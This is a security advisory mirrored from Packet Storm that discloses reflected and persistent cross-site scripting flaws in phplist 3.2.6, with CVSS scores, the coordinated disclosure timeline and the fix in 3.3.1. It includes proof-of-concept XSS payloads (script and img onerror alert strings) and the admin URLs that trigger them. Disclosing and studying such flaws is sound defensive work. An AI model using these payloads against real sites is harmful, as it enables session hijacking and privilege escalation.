Lucene search

K
packetstormTim CoenPACKETSTORM:141679
HistoryMar 17, 2017 - 12:00 a.m.

phplist 3.2.6 Cross Site Scripting

2017-03-1700:00:00
Tim Coen
packetstormsecurity.com
32
`Security Advisory - Curesec Research Team  
  
1. Introduction  
  
Affected phplist 3.2.6  
Product:  
Fixed in: 3.3.1  
Fixed Version https://sourceforge.net/projects/phplist/files/phplist/3.3.1/  
Link: phplist-3.3.1.zip/download  
Vendor Website: https://www.phplist.org/  
Vulnerability XSS  
Type:  
Remote Yes  
Exploitable:  
Reported to 01/10/2017  
vendor:  
Disclosed to 02/20/2017  
public:  
Release mode: Coordinated Release  
CVE: n/a (not requested)  
Credits Tim Coen of Curesec GmbH  
  
2. Overview  
  
phplist is an application to manage newsletters, written in PHP. In version  
3.2.6, it is vulnerable to Cross Site Scripting.  
  
The application contains one reflected XSS, and multiple persistent XSS  
vulnerabilities. The persistent XSS vulnerabilities are only exploitable by  
users with specific privileges.  
  
3. Details  
  
Reflected XSS  
  
CVSS: Medium 6.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N  
  
The page parameter is vulnerable to reflected XSS.  
  
Proof of Concept:  
  
http://localhost/lists/admin/?page=send\'\"><script>alert(8)</script>&id=187&tk  
=c  
  
Persistent XSS  
  
CVSS: Medium 5.5 CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N  
  
Various components of the administration interface are vulnerable to persistent  
XSS. While a user account is required to exploit these issues, they may be used  
by less privileged users to escalate their privileges.  
  
Persistent XSS: List Name  
  
The name of a list is echoed in various locations without encoding, leading to  
persistent XSS. An account with the privilege to create a list is required.  
  
Add new List: http://localhost/lists/admin/?page=editlist&tk=c as name use :  
list'"><img src=no onerror=alert(1)> To trigger the payload, visit - Add new  
subscribers to list: http://localhost/lists/admin/?page=importsimple&list=84&tk  
=c - Overview of all lists: http://localhost/lists/admin/?page=list&tk=c - List  
members of list: http://localhost/lists/admin/?page=members&id=3&tk=c - View  
member (loaded as part of the lists tab): http://localhost/lists/admin/?page=  
user&id=4 - Creating a Campaign (in step 4): http://localhost/lists/admin/?page  
=send&id=2&tk=c&tab=Lists  
  
Persistent XSS: Subscribe Page  
  
Various parameters of the subscribe page - such as the title - are vulnerable  
to persistent XSS. An account with the privilege to edit the subscribe page is  
required.  
  
Add a new subscribe page: http://localhost/lists/admin/?page=spage as title  
use: subscribe'"><img src=no onerror=alert(1)> To trigget the payload: - Visit  
the subscribe page: http://localhost/lists/index.php?p=subscribe&id=1 - Visit  
the subscribe page overview: http://localhost/lists/admin/?page=spage  
  
Persistent XSS: Bounce Rule  
  
The expression parameter of bounce rules is vulnerable to persistent XSS. An  
account with the privilege to edit bounce rules is required.  
  
Add a new bounce rule:http://localhost/lists/admin/?page=bouncerules&type=  
active as regular expression use: test'"&ht;<img src=no onerror=alert(1)&ht; To  
trigger the payload: - Visit the bounce rule overview: http://localhost/lists/  
admin/?page=bouncerules&type=active  
  
4. Solution  
  
To mitigate this issue please upgrade at least to version 3.3.1:  
  
https://sourceforge.net/projects/phplist/files/phplist/3.3.1/phplist-3.3.1.zip/  
download  
  
Please note that a newer version might already be available.  
  
5. Report Timeline  
  
01/10/2017 Informed Vendor about Issue  
01/16/2017 Vendor confirms  
02/15/2017 Asked Vendor to confirm that new release fixes issues  
02/15/2017 Vendor confirms  
02/20/2017 Disclosed to public  
  
  
Blog Reference:  
https://www.curesec.com/blog/article/blog/phplist-326-XSS-194.html  
  
--  
blog: https://www.curesec.com/blog  
Atom Feed: https://www.curesec.com/blog/feed.xml  
RSS Feed: https://www.curesec.com/blog/rss.xml  
tweet: https://twitter.com/curesec  
  
Curesec GmbH  
Curesec Research Team  
Josef-Orlopp-StraAe 54  
10365 Berlin, Germany  
  
  
`